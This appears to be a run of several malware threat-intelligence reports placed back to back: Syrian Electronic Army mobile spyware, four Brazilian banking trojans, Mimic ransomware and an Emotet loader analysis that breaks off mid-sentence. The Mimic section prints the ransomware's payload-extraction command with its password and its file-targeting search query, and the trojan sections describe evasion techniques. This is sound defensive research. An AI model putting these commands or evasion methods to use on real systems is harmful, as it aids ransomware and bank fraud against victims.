# Under the SEA: A Look at the Syrian Electronic Army’s Mobile Tooling ## Who are we? Discover, track, disrupt, and understand the context around targeted Surveillanceware: Pegasus, ViperRAT, DarkCaracal, StealthMango, and many more. **Michael Flossman** Head of Threat Intelligence @Lookout **Kristin Del Rosso** Security Intelligence Analyst @Lookout ## Agenda - Who is the SEA? - SilverHawk - Attack Vectors - Personas & Attribution ## Upgrading Traditional Warfare ### SilverHawk Where on the phone did the malware touch you? - Record Audio - Stream environment audio over raw socket when instructed as root - Take photos with device camera - Survival counter - failed server connections and it stops - Retrieve files from external storage - Top directory - Downloads, Pictures, DCIM directories - WhatsApp, Telegram, Viber, ShareIt content - Files sent over Bluetooth* - File utility to copy, move, rename, and delete files - Download attacker specified files - Enumerate installed apps incl. date & time installed - Retrieve contacts and related data: - Call logs - Contacts - Text Messages - Location, direction, and acceleration of the device - Remotely updateable C2 IP and port - Hide Icon - Device information - Retrieve battery levels, WiFi and GPS status, storage and cellular carrier info ### Custom Communication Protocol ``` <HmzaPacket> <Command></Command> <XMLData></XMLData> <MSG></MSG> <Success></Success> </HmzaPacket> ``` ### Capabilities and Evolution The AndroRAT Connection ### Attack Vectors - Exchange of Prisoners - Google Earth coordinates of the Lat Party in Calmoun and Weber - Brigadier General Manaf Tlass heads the General Staff - Leaks deal system and the Corps of Rahman - Orient channel - radar program - military analysis - strategic - Hisham Khreisat - Homs Talbisse mortar bombardment ### Tying It All Together Personas - File paths for debugging symbols in .NET binaries - Metadata in word files - Logging statements in Android samples - Open directories on infrastructure & some C2 domains ### Connected Personas - **Allosh**: Known to use the same desktop and mobile tools - **Hacker**: “Th3Pro” / “The3Pro” - SEA Special Operations Division - **Ahmed Al Agha**: Handle leaked from earlier infrastructure - **Anonymous.1.sy**: Leak included SEA affiliation - **Zeko**: Author on watering hole site - **Medo**: Referenced in .NET binaries, Word Doc lures, and on pastebin submissions - **CoDeR**: Handle in APK logging statements - **Abo Ala**: Previously listed as author on watering hole - **Abo Moaaz**: ### Research Shout Outs - 360 Threat Intelligence - Kaspersky Labs - FireEye - EFF - Citizen Lab ## Key Takeaways - SEA connected to long running campaign using SilverHawk & AndroRAT - Group still active and using multiplatform tools in their attacks - New personas associated with the SEA - Low barrier to entry for offensive mobile tooling ## Contact Us **Michael Flossman** @terminalrift **Kristin Del Rosso** @kristindelrosso Email: [email protected] Thank you! Questions? Note: All security research conducted by Lookout employees is performed according to the Computer Fraud and Abuse Act (CFAA) of 1986. Analysis of adversary infrastructure and the retrieval of any exposed data is limited to only that which is publicly accessible. Any sensitive information obtained during this process, such as usernames or passwords, is never used in any authentication-based situations where its use would grant access to services or systems.
# The Tetrade: Brazilian Banking Malware Goes Global ## Introduction Brazil is a well-known country with plenty of banking trojans developed by local crooks. The Brazilian criminal underground is home to some of the world’s busiest and most creative perpetrators of cybercrime. Like their counterparts in China and Russia, their cyberattacks have a strong local flavor, and for a long time, they limited their attacks to the customers of local banks. But the time has come when they aggressively expand their attacks and operations abroad, targeting other countries and banks. The Tetrade is our designation for four large banking trojan families created, developed, and spread by Brazilian crooks, but now on a global level. Although this is not their first attempt – they tried, timidly, in 2011, using very basic trojans, with a low success rate – now the situation is completely different. Brazilian banking trojans have evolved greatly, with hackers adopting techniques for bypassing detection, creating highly modular and obfuscated malware, and using a very complex execution flow, which makes analysis a painful, tricky process. At least since the year 2000, Brazilian banks have operated in a very hostile online environment full of fraud. Despite their early adoption of technologies aimed at protecting the customer, and deployment of plugins, tokens, e-tokens, two-factor authentication, CHIP and PIN credit cards, and other ways to safeguard their millions of clients, fraud is still ramping up, as the country still lacks proper legislation for punishing cybercriminals. This article is a deep dive intended for a complete understanding of these four banking trojan families: Guildma, Javali, Melcoz, and Grandoreiro, as they expand abroad, targeting users not just in Brazil, but in the wider Latin America and Europe. These crooks are prepared to take on the world. Are the financial system and security analysts ready to deal with this persistent avalanche? ## Guildma: Full of Tricks **Also known as:** Astaroth **First seen:** 2015 **Tricks:** LOLBin and NTFS Alternate Data Streams (ADS), process hollowing, payloads hosted within YouTube and Facebook posts **Ready to steal data from victims living in:** Chile, Uruguay, Peru, Ecuador, Colombia, China, Europe. Confirmed victims in Brazil. The Guildma malware has been active since at least 2015, when it was targeting banking users exclusively from Brazil. From there on, it has been constantly updated, adding new targets, new features, and stealthiness to its campaigns, and directing its attacks at other countries in Latin America. The group behind the attacks has shown a good knowledge of legitimate tools for performing a complex execution flow, pretending to hide themselves inside the host system and preventing automated analysis systems from tracking their activities. Recently, a newer version was found in-the-wild, abusing NTFS Alternate Data Streams (ADS) in order to store the content of malicious payloads downloaded during execution. The malware is highly modular, with a very complex execution flow. The main vector used by the group is sending malicious files in compressed format, attached to email. File types vary from VBS to LNK; the most recent campaign started to attach an HTML file which executes Javascript for downloading a malicious file. The malware relies on anti-debugging, anti-virtualization, and anti-emulation tricks, besides the usage of process hollowing, living-off-the-land binaries (LOLBin), and NTFS Alternate Data Streams to store downloaded payloads that come from cloud hosting services such as CloudFlare’s Workers, Amazon AWS, and also popular websites like YouTube and Facebook, where they store C2 information. ### From LNK to a Full Banking Backdoor Guildma spreads rely heavily on email shots containing a malicious file in compressed format, attached to the email body. File types vary from Visual Basic Script to LNK. Most of the phishing messages emulate business requests, packages sent over courier services, or any other regular corporate subjects, including the COVID-19 pandemic, but always with a corporate appearance. We observed that in the beginning of November 2019, another layer was added to the infection chain. Instead of attaching a compacted file directly to the email body, the attackers were attaching an HTML file which executed a Javascript for downloading the file. In order to download the additional modules, the malware uses the BITSAdmin tool, which this group has relied on for some years to avoid detection, since this is an allowlisted tool from the Windows operating system. By the end of September 2019, we started seeing a new version of Guildma malware being distributed that used a new technique for storing downloaded payloads in NTFS Alternate Data Streams in order to conceal their presence in the system. The usage of ADS helps to hide the file in the system, since it will not appear in Explorer, etc. In order to see the alternate data, you can use the “DIR” command, adding the switch “/R”, which is specifically intended for displaying alternate data streams. After the additional modules are hidden, the malware will launch itself by using DLL Search Order Hijacking. We have observed various processes being used by Guildma at this step; in this version of the malware, it uses ExtExport.exe, which is related to Internet Explorer. The library that will be loaded is the result of concatenating two files (<random>64a.dll and <random>64b.dll), downloaded previously. The resultant file will be named with different known libraries that are loaded by ExtExport on its execution. Once loaded, it will concatenate three other files and also load them. This stage checks for debugging tools, virtual environments, known Windows product IDs commonly used by sandboxes, common usernames, and certain disk serial numbers that are most likely associated with analyst environments detected earlier. If nothing like that is detected, the malware will decrypt the third stage and execute it by using the process hollowing technique, commonly used by malware authors. In this version, the payloads are encrypted with the same XOR-based algorithm as the one used in previous versions; however, in this latest version, the payload is encrypted twice, with different keys. In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside an allowlisted process, such as svchost.exe. The payloads are stored encrypted in the filesystem and decrypted in the memory as they are executed. The final payload installed in the system will monitor user activities, such as opened websites and run applications and check if they are on the target list. When a target is detected, the module is executed, giving the criminals control over banking transactions. This module allows the criminals to perform certain very specific banking operations, such as: - Full control over page navigation through the use of a VNC-like system - Toggling screen overlay - Requesting SMS tokens - QR code validation - Requesting transaction The attacker can essentially perform any financial transactions by using the victim’s computer while avoiding anti-fraud systems that can detect banking transactions initiated by suspicious machines. After all loading steps, the malware will run in the infected system. It will monitor the system, communicating with the C2 server and loading additional modules as requested. In the latest versions, it started to store C2 information in encrypted format on YouTube and Facebook pages. The newer versions of Guildma found in 2020 are using an automated process to generate thousands of daily URLs, mostly abusing generic TLDs. Our systems have been catching more than 200 different URLs per day. The intended targets of Guildma can be seen in the code: the malware is capable of stealing data from bank customers living in Chile, Uruguay, Peru, Ecuador, Colombia, China, Europe, and of course, Brazil. However, the code has been found in just one version of Guildma and has not been implemented in any of the newer versions. ## Javali: Big and Furious **First seen:** 2017 **Tricks:** Big files for avoiding detection, DLL sideloading, configuration settings hosted in Google Docs **Confirmed victims in:** Brazil and Mexico Javali targets Portuguese- and Spanish-speaking countries, active since November 2017 and primarily focusing on the customers of financial institutions located in Brazil and Mexico. Javali uses multistage malware and distributes its initial payload via phishing emails, as an attachment or link to a website. These emails include an MSI (Microsoft Installer) file with an embedded Visual Basic Script that downloads the final malicious payload from a remote C2; it also uses DLL sideloading and several layers of obfuscation to hide its malicious activities from analysts and security solutions. The initial Microsoft Installer downloader contains an embedded custom action that triggers a Visual Basic Script. The script connects to a remote server and retrieves the second stage of the malware. The downloaded ZIP file package contains several files and a malicious payload that is capable of stealing financial information from the victim. A decompressed package commonly contains a large number of files including executables that are legit but vulnerable to DLL sideloading. Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document. If it is not able to connect to the address, it uses a hardcoded one. The host information is obfuscated for obvious reasons. Javali adopts a third-party library named IndyProject for communication with the C2. In the most recent campaigns, its operators started using YouTube as well for hosting C2 information, exactly as Guildma does. Upon in-depth analysis of the library code, we can see a list of targets in some of the samples. Depending on the sample analyzed, cryptocurrency websites, such as Bittrex, or payment solutions, such as Mercado Pago, a very popular retailer in Latin America, are also targeted. To capture login credentials from all the previously listed websites, Javali monitors processes to find open browsers or custom banking applications. The most common web browsers thus monitored are Mozilla Firefox, Google Chrome, Internet Explorer, and Microsoft Edge. The victim distribution is mainly concentrated in Brazil, although recent phishing email demonstrates a marked interest in Mexico. Javali is using allowlisted and signed binaries, Microsoft Installer files, and DLL hijacking to infect victims en masse, all while targeting their efforts by country. This is achieved by controlling the means of distribution and sending phishing email only to those TLDs that the group is interested in. We can expect expansion mainly across Latin America. ## Melcoz: A Worldwide Operator **First seen:** 2018 (worldwide) but active in Brazil for years **Tricks:** DLL hijacking, AutoIt loaders, Bitcoin wallet stealing module **Confirmed victims in:** Brazil, Chile, Mexico, Spain, Portugal Melcoz is a banking trojan family developed by a group that has been active in Brazil for years, but at least since 2018, has expanded overseas. Their Eastern European partners heavily inspired the recent attacks. The new operations are professionally executed, scalable, and persistent, creating various versions of the malware, with significant infrastructure improvements that enable cybercriminal groups in different countries to collaborate. We found that the group has attacked assets in Chile since 2018 and more recently, in Mexico. Still, it is highly probable there are victims in other countries, as some of the targeted banks operate internationally. However, the attacks seem to be focused more on Latin American victims these days. As these groups speak different languages (Portuguese and Spanish), we believe that Brazilian cybercriminals are working with local groups of coders and mules to withdraw stolen money, managed by different operators, selling access to its infrastructure and malware constructors. Each campaign runs on its unique ID, which varies between versions and CnCs used. Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and the memory, providing remote access for capturing online banking access. It also includes a module for stealing Bitcoin wallets. It replaces the original wallet information with the cybercriminals’ own. Melcoz is another customization of the well-known open-source RAT Remote Access PC, which is available on GitHub, as well as many other versions developed by Brazilian criminals. It first started targeting users in Brazil, but since at least 2018, the group has shown interest in other countries, such as Chile and Mexico. The infection vector used in this attack is phishing email that contains a link to a downloadable MSI installer. Almost all of the analyzed MSI samples used some version of Advanced Installer with a VBS script appended to the CustomAction section, which makes the script run during the installation process. The script itself works as a downloader for additional files needed for loading the malware into the system, which are hosted separately as a ZIP package. We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack. The malware has specific features that allow the attackers to perform operations related to online banking transactions, password stealing, and clipboard monitoring. We also found various versions of the payload: the version focused on stealing data from victims in Brazil is typically unpacked, while the versions targeting banks in Chile and Mexico are packed with VMProtect or Themida. For us, this is another flag that the operators can change their tactics in accordance with their local needs. After initialization, the code monitors browser activities, looking for online banking sessions. Once these are found, the malware enables the attacker to display an overlay window in front of the victim’s browser to manipulate the user’s session in the background. In this way, the fraudulent transaction is performed from the victim’s machine, making it harder to detect for anti-fraud solutions on the bank’s end. The criminal can also request specific information, asked during the bank transaction, such as a secondary password and token, bypassing two-factor authentication solutions adopted by the financial sector. The attackers rely on a compromised legitimate server, as well as commercial servers they purchased. The compromised servers mostly host samples for attacking victims, whereas the commercial hosting is for C2 server communications. As mentioned earlier, different operators run different campaigns. This explains the different network infrastructures seen so far. According to our telemetry, Melcoz samples have been detected in other Latin American countries and in Europe, mainly in Spain and Portugal. ## El Gran Grandoreiro **First seen:** 2016 **Tricks:** MaaS, DGA, C2 information stored on Google Sites **Confirmed victims in:** Brazil, Mexico, Portugal, Spain Just like Melcoz and Javali, Grandoreiro started to expand its attacks in Latin America and later in Europe with great success, focusing its efforts on evading detection by using modular installers. Among the four families we described, Grandoreiro is the most widespread globally. The malware enables attackers to perform fraudulent banking transactions by using the victims’ computers for bypassing security measures used by banking institutions. We have observed this campaign since at least 2016, with the attackers improving their techniques regularly, aiming to stay unmonitored and active longer. The malware uses a specific Domain Generation Algorithm (DGA) for hiding the C2 address used during the attack: this is one of the key points that has helped in the campaign’s clustering. It is still not possible to link this malware to any specific cybercrime group, although it is clear that the campaign is using a MaaS (Malware-as-a-Service) business model, based on the information collected during the analysis that showed many operators were involved. While tracking cybercrime campaigns that targeted Latin America, we found one interesting attack that was very similar to known Brazilian banking malware, but had distinctive features relating to the infection vector and the code itself. It was possible to identify two clusters of attacks, the first one targeting Brazilian banks and the second one aimed at other banks in Latin America and Europe. This is to be expected: many European banks have operations and branches in Latin America, so this is a natural next step for the cybercriminals. The cluster targeting Brazil used hacked websites and Google Ads to drive users to download the malicious installer. The campaign targeting other countries used spear-phishing as the delivery method. In most cases, the MSI file executed a function from the embedded DLL, but there were also other cases where a VBS script was used in place of the DLL. The function will then download an encrypted file containing the final payload used in the campaign. The file is encrypted with a custom XOR-based algorithm, with the key 0x0AE2. In the latest versions, the authors moved from encryption to using a base64-encoded ZIP file. The main module is in charge of monitoring all browser activity, looking for any actions related to online banking. As we analyzed the campaign, we identified two clusters of activity: the first one mainly focused on Brazilian targets and the second one focused more on international targets. The code suggests that the campaign is being managed by various operators. The sample build specifies an operator ID, which will be used to select a C2 server to contact. The generated path will then be contacted in order to get information about the C2 server to be used for execution. The operator controls infected machines by using a custom tool. The tool will notify the operator when the victim is available and enable the operator to perform a number of activities on the machine, such as: - Requesting information needed for the banking transaction, such as an SMS token or QR code - Allowing full remote access to the machine - Blocking access to the bank website: this feature helps to prevent the victim from learning that funds were transferred from their account. ## DGA and Google Sites The campaign uses commercial hosting sites in its attacks. In many cases, they use a very specific Web server named HFS, or HTTP File Server for hosting encrypted payloads. One can note a small change on the displayed page that helps to show “Infects” instead of “Hits” as used on the default page. Those hosting sites are disposable. Each is used for a short time before the operators move on to another server. We have seen Grandoreiro use DGA functions to generate a connection to a Google Sites page storing C2 information. As for the victims, it is possible to confirm by analyzing samples that the campaign targets Brazil, Mexico, Spain, and Portugal. However, it is highly possible that other countries are also victims since the targeted institutions have operations in other countries as well. ## Conclusions Guildma, Javali, Melcoz, and Grandoreiro are examples of yet another Brazilian banking group/operation that has decided to expand its attacks abroad, targeting banks in other countries. They benefit from the fact that many banks operating in Brazil also have operations elsewhere in Latin America and Europe, making it easy to extend their attacks against customers of these financial institutions. Brazilian crooks are rapidly creating an ecosystem of affiliates, recruiting cybercriminals to work with in other countries, adopting MaaS (malware-as-a-service) and quickly adding new techniques to their malware as a way to keep it relevant and financially attractive to their partners. They are certainly leading the creation of this type of threat in Latin America, mainly because they need local partners to manage the stolen money and to help with translation, as most of them are not native in Spanish. This professional approach draws a lot of inspiration from ZeuS, SpyEye, and other big banking trojans of the past. As a threat, these banking trojan families try to innovate by using DGA, encrypted payloads, process hollowing, DLL hijacking, a lot of LoLBins, fileless infections, and other tricks as a way of obstructing analysis and detection. We believe that these threats will evolve to target more banks in more countries. We know they are not the only ones doing this, as other families of the same origin have already made a similar transition, possibly inspired by the success of their “competitors.” This seems to be a trend among Brazilian malware developers that is here to stay. We recommend that financial institutions watch these threats closely, while improving their authentication processes, boosting anti-fraud technology and threat intel data, and trying to understand and mitigate such risks. All the details, IoCs, Yara rules, and hashes of these threats are available to the users of our Financial Threat Intel services. ## MD5 **Guildma** 0219ef20ab2df29b9b29f8407cf74f1c 0931a26d44f0e7d70fda9ef86ee203f4 **Javali** 5ce1eb8065acad5b59288b5662936f5d 91b271e7bfe64566de562a8dd2145ac6 **Melcoz** 4194162fe30a3dca6d8568e72c71ed2d aeaf7355604685d4d753d21902ff1c1c c63b4eb3067d8cb5f2d576bc0777e87d **Grandoreiro** 071d3d6404826c24188dc37872224b3d 1b50b1e375244ce5d4e690cf0dbc96d8
# New Mimic Ransomware Abuses Everything APIs for its Encryption Process Trend Micro researchers discovered a new ransomware that abuses the APIs of a legitimate tool called Everything, a Windows filename search engine developed by Voidtools that offers quick searching and real-time updates for minimal resource usage. This ransomware (which we named Mimic based on a string we found in its binaries) was first observed in the wild in June 2022 and targets Russian and English-speaking users. It is equipped with multiple capabilities such as deleting shadow copies, terminating multiple applications and services, and abusing Everything32.dll functions to query target files that are to be encrypted. ## Arrival and Components Mimic arrives as an executable that drops multiple binaries and a password-protected archive (disguised as Everything64.dll) which when extracted, contains the ransomware payload. It also includes tools that are used for turning off Windows Defender and legitimate sdel binaries. ### Table 1. Details of the Mimic Ransomware Components | Filename | Description | |-------------------|-------------------------------------------------------| | 7za.exe | Legitimate 7zip file that is used to extract the payload | | Everything.exe | Legitimate Everything application | | Everything32.dll | Legitimate Everything application | | Everything64.dll | Password protected archive that contains the malicious payloads | When executed, it will first drop its components to the `%Temp%/7zipSfx` folder. It will then extract the password protected Everything64.dll to the same directory using the dropped 7za.exe via the following command: ``` %Temp%\7ZipSfx.000\7za.exe x -y -p20475326413135730160 Everything64.dll ``` It will also drop the session key file session.tmp to the same directory, which will be used for continuing the encryption in case the process is interrupted. It will then copy the dropped files to `%LocalAppData%\{Random GUID}`, after which the ransomware will be renamed to bestplacetolive.exe and the original files deleted from the %Temp% directory. Based on our analysis, Mimic supports other command line arguments as shown in Table 2. ### Table 2. Arguments Accepted by Mimic Ransomware | Cmdline option | Acceptable values | Description | |----------------|-------------------|--------------------------------------| | -dir | File path to be encrypted | Directory for encryption | | -e | all | Encrypt all (Default) | | | local | Encrypt Local files | | | net | Encrypt files on Network shares | | | watch | ul:unlocker | | | ul1 | Creates a thread with interprocess communication and tries to unlock certain memory addresses from another process | | | ul2 | | | -prot | | Protects the ransomware from being killed | | -pid | <integer> | The process identifier (PID) of the previously-running ransomware. | ## Mimic Ransomware Analysis Mimic ransomware consists of multiple threads that employ the CreateThread function for faster encryption and render analysis more challenging for security researchers. When executed, it will first register a hotkey (Ctrl + F1, using the RegisterHotKey API) that displays the status logs being performed by the ransomware. The ransomware’s config is located at its overlay and is decrypted using the NOT Operation. Mimic ransomware possesses a plethora of capabilities, including the following: - Collecting system information - Creating persistence via the RUN key - Bypassing User Account Control (UAC) - Disabling Windows Defender - Disabling Windows telemetry - Activating anti-shutdown measures - Activating anti-kill measures - Unmounting Virtual Drives - Terminating processes and services - Disabling sleep mode and shutdown of the system - Removing indicators - Inhibiting System Recovery ## Abusing Everything32 APIs for Encryption Mimic uses Everything32.dll, a legitimate Windows filename search engine that can return real-time results for queries, in its routine. It abuses the tool by querying certain file extensions and filenames using Everything’s APIs to retrieve the file’s path for encryption. It uses the Everything_SetSearchW function to search for files to be encrypted or avoided using the following search format: ``` file:<ext:{list of extension}>file:<!endwith:{list of files/directory to avoid}>wholefilename<!{list of files to avoid}> ``` The following query is used by Mimic to search for files to be encrypted or avoided: ``` file:<ext:;sql;sqlite;sqlite3;sqlitedb;mdf;mdb;adb;db;db3;dbf;dbs;udb;dbv;dbx;edb;exb;1cd;fdb;idb;mpd;myd;odb;xls;xlsx;doc;docx;bac;bak;back;zip;rar file:<!endwith:QUIETPLACE> <!"\steamapps\" !"\Cache\" !"\Boot\" !"\Chrome\" !"\Firefox\" !"\Mozilla\" !"\Mozilla Firefox\" !"\MicrosoftEdge\" !"\Internet Explorer\" !"\Tor Browser\" !"\Opera\" !"\Opera Software\" !"\Common Files\" !"\Config.Msi\" !"\Intel\" !"\Microsoft\" !"\Microsoft Shared\" !"\Microsoft.NET\" !"\MSBuild\" !"\MSOCache\" !"\Packages\" !"\PerfLogs\" !"\ProgramData\" !"\System Volume Information\" !"\tmp\" !"\Temp\" !"\USOShared\" !"\Windows\" !"\Windows Defender\" !"\Windows Journal\" !"\Windows NT\" !"\Windows Photo Viewer\" !"\Windows Security\" !"\Windows.old\" !"\WindowsApps\" !"\WindowsPowerShell\" !"\WINNT\" !"\$WINDOWS.~BT\" !"\$Windows.~WS\" !":\Users\Public\" !":\Users\Default\" !"C:\Users\Win7x32\AppData\Local\{ECD7344E-DB25-8B38-009E-175BDB26EC3D}" !"NTUSER.DAT"> wholefilename:<!"restore-my-files.txt" !"boot.ini" !"bootfont.bin" !"desktop.ini" !"iconcache.db" !"io.sys" !"ntdetect.com" !"ntldr" !"ntuser.dat" !"ntuser.ini" !"thumbs.db" !"session.tmp" !"Decrypt_me.txt"> <!size:0> ``` It then appends the .QUIETPLACE file extension to the encrypted files and, finally, displays the ransom note. ## Code from Leaked Conti Builder From our analysis, some parts of the code seemed to be based on, and share several similarities with the Conti ransomware builder that was leaked in March 2022. For example, the enumeration of the encryption modes shares the same integer for both Mimic and Conti. The code related to argument net is also based on Conti. It will use the GetIpNetTable function to read the Address Resolution Protocol (ARP) cache and check if IP addresses contain “172.”, “192.168”, “10.”, or “169.” Mimic added a filter to exclude IP addresses that contain “169.254”, which is the IP range of Automatic Private IP Addressing (APIPA). Mimic also uses the Conti code in Windows Share Enumeration, where it employs the NetShareEnum function to enumerate all shares on the gathered IP addresses. Finally, Mimic’s port scanning is also based on the Conti builder. ## Conclusion Mimic ransomware, with its multiple bundled capabilities, seems to implement a new approach to speeding up its routine by combining multiple running threads and abusing Everything’s APIs for its encryption (minimizing resource usage, therefore resulting in more efficient execution). Furthermore, the threat actor behind Mimic seems to be resourceful and technically adept, using a leaked ransomware builder to capitalize on its various features, and even improve on it for more effective attacks. To protect systems from ransomware attacks, we recommend that both individual users and organizations implement best practices such as applying data protection, backup, and recovery measures to secure data from possible encryption or erasure. Conducting regular vulnerability assessments and patching systems in a timely manner can also minimize the damage dealt by ransomware that abuse exploits. A multilayered approach can help organizations guard possible entry points into the system (endpoint, email, web, and network). The right security solutions can also detect malicious components and suspicious behavior to protect enterprises. - Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before the ransomware can do irreversible damage to the system. - Trend Micro Cloud One™ Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning. - Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware. - Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints. ## Indicators of Compromise | SHA-256 | Version | Detection name | |-------------------------------------------------------------------------|---------|-------------------------------------| | 08f8ae7f25949a742c7896cb76e37fb88c6a7a32398693ec6c2b3d9b488114be | 1.1 | Ransom.Win32.MIMIC.SMZTJJ-A | | 9c16211296f88e12538792124b62eb00830d0961e9ab24b825edb61bda8f564f | 1.13 | Ransom.Win32.MIMIC.SMZTJJ-A | | e67d3682910cf1e7ece356860179ada8e847637a86c1e5f6898c48c956f04590 | 1.14 | Ransom.Win32.MIMIC.THLBGBB | | c634378691a675acbf57e611b220e676eb19aa190f617c41a56f43ac48ae14c7 | 3 | Ransom.Win32.MIMIC.THLBGBB | | c71ce482cf50d59c92cfb1eae560711d47600541b2835182d6e46e0de302ca6c | 3 | Ransom.Win32.MIMIC.THLBGBB | | 7ae4c5caf6cda7fa8862f64a74bd7f821b50d855d6403bde7bcbd7398b2c7d99 | 3.3 | Ransom.Win32.MIMIC.THHAABB | | a1eeeeae0eb365ff9a00717846c4806785d55ed20f3f5cbf71cf6710d7913c51 | 3.3 | Ransom.Win32.MIMIC.SMZTJJ-A | | b0c75e92e1fe98715f90b29475de998d0c8c50ca80ce1c141fc09d10a7b8e7ee | 3.3 | Ransom.Win32.MIMIC.SMZTJJ-A | | 1dea642abe3e27fd91c3db4e0293fb1f7510e14aed73e4ea36bf7299fd8e6506 | 3.4 | Ransom.Win32.MIMIC.SMZTJJ-A | | 4a6f8bf2b989fa60daa6c720b2d388651dd8e4c60d0be04aaed4de0c3c064c8f | 3.4 | Ransom.Win32.MIMIC.THLBGBB | | b68f469ed8d9deea15af325efc1a56ca8cb5c2b42f2423837a51160456ce0db5 | 3.4 | Ransom.Win32.MIMIC.SMZTJJ-A | | bb28adc32ff1b9dcfaac6b7017b4896d2807b48080f9e6720afde3f89d69676c | 3.4 | Ransom.Win32.MIMIC.SMZTJJ-A | | bf6fa9b06115a8a4ff3982427ddc12215bd1a3d759ac84895b5fb66eaa568bff | 3.4 | Ransom.Win32.MIMIC.SMZTJJ-A | | ed6cf30ee11b169a65c2a27c4178c5a07ff3515daa339033bf83041faa6f49c1 | 3.4 | Ransom.Win32.MIMIC.THLBGBB | | 480fb2f6bcb1f394dc171ecbce88b9fa64df1491ec65859ee108f2e787b26e03 | 3.7 | Ransom.Win32.MIMIC.SMZTJJ-A | | 30f2fe10229863c57d9aab97ec8b7a157ad3ff9ab0b2110bbb4859694b56923f | 3.9 | Ransom.Win32.MIMIC.SMZTJJ-A | | 2e96b55980a827011a7e0784ab95dcee53958a1bb19f5397080a434041bbeeea | 4 | Ransom.Win32.MIMIC.SMZTJJ-A | | 136d05b5132adafc4c7616cd6902700de59f3f326c6931eb6b2f3b1f458c7457 | 4.2 | Ransom.Win32.MIMIC.SMZTJJ-A | | c576f7f55c4c0304b290b15e70a638b037df15c69577cd6263329c73416e490e | | HackTool.Win32.DEFENDERCONTROL.Z |
# Why Emotet's Latest Wave is Harder to Catch than Ever Before After five months of inactivity, the prolific and well-known Emotet botnet re-emerged on July 17th. The purpose of this botnet is to steal sensitive information from victims or provide an installation base for additional malware such as TrickBot, which then in many cases will drop ransomware or other malware. So far, in the current wave, it was observed delivering QakBot. In this blog post, we reveal some novel evasion techniques which assist the new wave of Emotet to avoid detection. We discovered how its evasion techniques work and how to overcome them. The first part of the malware execution is the loader which is examined in this article, with an emphasis on the unpacking process. We also partition the current wave into several clusters, each cluster has some unique shared properties among the samples. ## Clustering the samples A dataset of 38 thousand samples was created using data collected by the Cryptolaemus group, from July 17th to July 28th. This group divides the samples into three epochs, which are separate botnets that operate independently from one another. Static information was extracted from each sample in order to find consistent patterns across the entire data set. The information that is relevant to identify patterns includes the size and entropy of the .text, .data, .rsrc sections, and the size of the whole file, so this information was extracted from all the files. We started our analysis with two samples, an overview for which is provided in the image below. By looking at each file size we can see that the ratio of these sections remains the same, and the entropy differs very little between the files. This also results in completely identical code. The two samples presented above were compared using the diaphora plugin for IDA, and all the functions were identical. Grouping the entire dataset by the size of the files resulted in 272 unique sizes of files. The files matching each size were then checked to see if they have the same static information. This way we discovered 102 templates of Emotet samples. Each sample in the dataset that matched a template was tagged with a template ID and with an epoch number, as indicated by the Cryptolaemus group. This means that the operators behind each epoch have their own Emotet loaders. The various templates might help reduce the detection rate of the samples used by the entire operation. If a specific template has a unique feature that can be signed, it won’t affect samples belonging to other templates and epochs. Most packers today provide features such as various encryption algorithms, integrity checks and evasion techniques. These templates are most likely the result of different combinations of flags and parameters in the packing software. Each epoch has different configurations for the packing software resulting in clusters of files that have the same static information. ## Identifying benign code The Emotet loader contains a lot of benign code as part of its evasion. A.I. based security products rely on both malicious and benign features when classifying a file. In order to bypass products like that, malware authors can insert benign code into their executable files to reduce the chance of them being detected. This is called an adversarial attack and its effectiveness is seen in security solutions based on machine learning. By looking at the analysis done by Intezer on a specific Emotet sample from the new wave, we can see that the benign code might be taken from Microsoft DLL files that are part of the Visual C++ runtime environment. Alternatively, the benign software could be completely unrelated to the functioning of the sample. Under the column “Name” there are functions from the malware, and under the column “Name 2” there are functions from the benign file. As we can see, the malware contains much benign code which isn’t necessarily needed. The next step is to check how much of the code is actually used. This can be done using the tool drcov by DynamoRIO. This tool executes binary file and tracks which parts of the code are used. The log produced by this tool can later be processed by the lighthouse plugin for IDA. This plugin integrates the execution log into the IDA database in order to visualize which functions are used. The analysis was performed on the sample shown so far, the result is that just 16.22% of the code is executed. After we filtered out benign code that was injected into the executable, we can compare the code of different variants to locate the malicious functions which exist in every sample. Filtering out benign functions helps to reveal the malicious code, but it can also be found using dynamic analysis, which will be discussed in the next section. ## Finding the encrypted payload The executable previously shown is an Emotet loader. The main purpose of the loader is to decrypt the payload hidden in the sample and execute it. The payload consists of a PE file and a shellcode that loads it. The encrypted payload will cause the section it resides in to have high entropy. Based on the dataset we collected, 87% of the files had the payload in the .data section and 13% of the files had the payload in the .rsrc section. Tools like pestudio show the entropy of each section and each resource. In order to find the code that decrypts the resource, we can put a hardware breakpoint at the start of the resource. In cases where the payload is inside the .data section, it’s unclear where it starts. We can approximate it by calculating the entropy for small bulks of the section and find where the score starts to rise. ```python import sys import math import pefile BULK_SIZE = 256 def entropy(byteArr): arrSize = len(byteArr) freqList = [] for b in range(256): ctr = 0 for byte in byteArr: if byte == b: ctr += 1 freqList.append(float(ctr) / arrSize) ent = 0.0 for freq in freqList: if freq > 0: ent = ent + freq * math.log(freq, 2) ent = -ent return ent pe_file = pefile.PE(sys.argv[1]) data_section = next(section for section in pe_file.sections if section.Name == b'.data\x00\x00\x00') data_section_buffer = data_section.get_data() data_section_va = pe_file.OPTIONAL_HEADER.ImageBase + data_section.VirtualAddress buffer_size = len(data_section_buffer) bulks = [data_section_buffer[i:i+BULK_SIZE] for i in range(0, buffer_size, BULK_SIZE)] for i, bulk in enumerate(bulks): print(hex(data_section_va + i*BULK_SIZE), entropy(bulk)) ``` Once we know where the payload is located, we’ll be able to find the code that decrypts it, and that is where the malicious action starts. ## Analyzing the malicious code In this part, we’ll look at the sample: `249269aae1e8a9c52f7f6ae93eb0466a5069870b14bf50ac22dc14099c2655db`. In this sample, the script indicates 